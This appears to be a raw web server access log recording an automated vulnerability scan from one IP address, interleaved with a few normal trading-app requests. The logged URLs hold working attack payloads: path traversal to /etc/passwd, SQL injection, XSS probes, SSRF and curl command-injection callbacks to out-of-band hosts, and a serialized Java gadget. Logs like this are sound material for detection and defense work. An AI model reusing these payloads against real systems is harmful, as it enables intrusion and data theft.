[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /3/ImportFiles?path=%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/lp/v1/courses/archive-course?order_by=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))X)&limit=-1 HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/quick/quick.cgi?func=switch_os&todo=uploaf_firmware_image HTTP/1.1" 199
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-json/post-smtp/v1/connect-app HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/js/../../../../../../../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/lp/v1/load_content_via_ajax/?callback={\"class\"%3a\"LP_Debug\",\"method\"%3a\"var_dump\"}&args=\"380DIG4dBoPZCvwHM1NTljXQc8e\" HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/artifact/getArtifact?artifact_path=../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /api/2.0/mlflow-artifacts/artifacts/380DIDbr7Yv09zLiwiuV9enf1iM HTTP/1.1" 220
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /tmui/login.jsp HTTP/1.1" 226
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads/ HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /keepalive.php?caller=%22%3E%3Cimg+src%3d1+onerror%3dalert(document.domain)+%2F%3E&uq_mt=1664137650.085 HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /signin HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log_proxy?url=http://d5g6to2hausk1oj0j65gd6rmudt8cu8fc.oast.live HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/wp/v2/sfwd-assignment HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //libs/bower/bower_components/yui2/sandbox/treeview/removeall.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CFIDE/wizards/common/utils.cfc?method=wizardHash%20inPassword=bar%20_cfclient=true HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1" 3426
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/ldlms/v1/sfwd-quiz HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php?action=eventon_get_virtual_users HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /feed/ HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/wp/v2/sfwd-question HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /access/set?param=enableapi&value=1 HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /php/ping.php HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /moveitisapi/moveitisapi.dll?action=m2 HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/cav/client/status/../../admin/options HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user_info%22%3E%3Cimg+src=a+onerror=alert%28document.domain%29%3Eridxm/index/friends HTTP/1.1" 199
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?p=1 HTTP/1.1" 3426
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /project/switch/1?targetPath=http://oast.pro HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-json/notificationx/v1/analytics HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hax/..CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /asyncrenderer/%7B%7Burl%7D%7D?clientId={{id}}&timeout=500&wiki=xwiki HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927554713 HTTP/1.1" -
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /users/sign_in HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/cors/data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23 HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v3/user/orgs HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /file=http://oast.pro HTTP/1.1" 199
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/quttera-web-malware-scanner/quttera_wp_report.txt HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SetupWizard.aspx/BPXoBvYpCz HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /render/info.html HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?travelpayouts_redirect=https://oast.me HTTP/1.1" 3426
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/login/ HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.hsp?passwordExpired=yes&domainName=\\'-alert(document.domain),// HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /app HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /classes/common/busiFacade.php HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.jar HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /rpc/clients/xmlrpc HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/users HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/file/formimage HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/user-meta/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /assets/php/upload.php HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/Za3l.css HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/1 HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20d5g6to2hausk1oj0j65gtx3m9umd1pe39.oast.live HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login?next=https://202.181.208.139:443 HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /decisioncenter-api/v1/about?datasource=ldap://d5g6to2hausk1oj0j65gw9diypz5rkx99.oast.live HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /partymgr/control/getJSONuiLabel HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /dana-ws/saml20.ws HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /file-manager/backend/text HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /dana-na/auth/saml-sso.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/backups-dup-pro/tmp/ HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /res/login.jsf?javax.faces.ViewState=rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAK2Q1ZzZ0bzJoYXVzazFvajBqNjVndTNqcmhuZmJ1Znh5ei5vYXN0LmxpdmV0AABxAH4ABXQABGh0dHBweHQAMmh0dHA6Ly9kNWc2dG8yaGF1c2sxb2owajY1Z3UzanJobmZidWZ4eXoub2FzdC5saXZleA== HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.sqlite HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927543182 HTTP/1.1" -
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php.tmp HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927540783 HTTP/1.1" -
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /coda/frameset?cols=\"><frame%20src=\"javascript:alert(document.domain)\"> HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.rst HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/api.php/%3Cscript%3Ealert%28document.domain%29%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //list-editor/index.html?reloaded&page=3\">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /filex/read-raw?url=http://oast.me&cut=1 HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/user-meta/views/debug.php HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /API/V1/credentials HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.php?a=get_upload_list&c=Uploadimgnew&info=eyJudW0iOiIxXCI%2BPFNjUmlQdCA%2BYWxlcnQoZG9jdW1lbnQuZG9tYWluKTwvU2NSaVB0PiIsInNpemUiOiIyMDk3MTUyIiwiaW5wdXQiOiIiLCJmdW5jIjoiaGVhZF9waWNfY2FsbF9iYWNrIiwicGF0aCI6ImFsbGltZyIsImlzX3dhdGVyIjoiMSIsImFsZyI6IkhTMjU2In0&lang=cn&m=admin&unneed_syn HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Admin/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CFIDE/wizards/common/utils.cfc?method=wizardHash%20inPassword=bar%20_cfclient=true HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/get_status?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /furniture/catalog/all-products?cat=1&bhl4n%2522%253e%253cScRiPt%253ealert%2528'document_domain'%2529%253c%252fScRiPt%253eiyehb=1 HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mailinspector/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search?filter[brandid]=vnxjb\"><script>alert(document.cookie)</script>bvu51 HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/base64-encoderdecoder/base64-decode.php?string=PHNjcmlwdD5hbGVydCgiZG9jdW1lbnQuZG9tYWluIik8L3NjcmlwdD4= HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php?mid=0&usr=test%27%20draggable=true%20ondrag=alert(document.domain)%20value=%27p HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /process/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /gremlin HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /service.pdfs/confluence?lang=en&file=`curl+d5g6to2hausk1oj0j65geprzc944b5h3q.oast.live` HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /global-protect/portal/images/380DIB4ORW4s6UMuTzZEuQJ0APF.txt HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ywzpA8oE%22%3E%3Cimg%20src=a%20onerror=alert%28document.domain%29%3E/..CFIDE/administrator/index.cfm HTTP/1.1" 199
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/admin.cgi?Command=sysCommand&Cmd=ifconfig HTTP/1.1" 199
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-json/post-smtp/v1/connect-app HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /position.js HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /welcome.action HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pictureproxy.php?url=file:///etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /author-sitemap.xml HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /access.log HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /file-manager/backend/permissions HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/2 HTTP/1.1" 196
[09/Jan/2026:10:54:31 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/cstecgi.cgi HTTP/1.1" 199
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-post.php HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wizard/database/ HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/videoconfiguration.cgi HTTP/1.1" 199
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/quick/zoPVxS HTTP/1.1" 199
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /checker/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /faqs%22%3E%3Cimg+src=a+onerror=alert%28document.domain%29%3Eridxm/index?content_search=\"><img+src=a+onerror=alert(document.domain)>ridxm HTTP/1.1" 199
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/fusion-forms/ HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/ HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/media-library-assistant/includes/mla-stream-image.php?mla_stream_file=ftp://d5g6to2hausk1oj0j65gennj77o9h437z.oast.live/patrowl.svg HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webeditor/../../../windows/win.ini HTTP/1.1" 226
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/cors/http:%2f%2fnextchat.d5g6to2hausk1oj0j65grq9yiygb6ten5.oast.live%23 HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /shindig/gadgets/proxy?container=default&url=http://oast.pro HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/essential-blocks/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1" 3426
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1" 199
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /device/config HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /clients/MyCRL HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Admin/Admin.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/ngg/v1/admin/block/image/1 HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Startup/Register HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /en/products?query=123 HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?id=50&file=../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.rst HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /nagiosxi/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:32 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /3/ParseSetup HTTP/1.1" 196
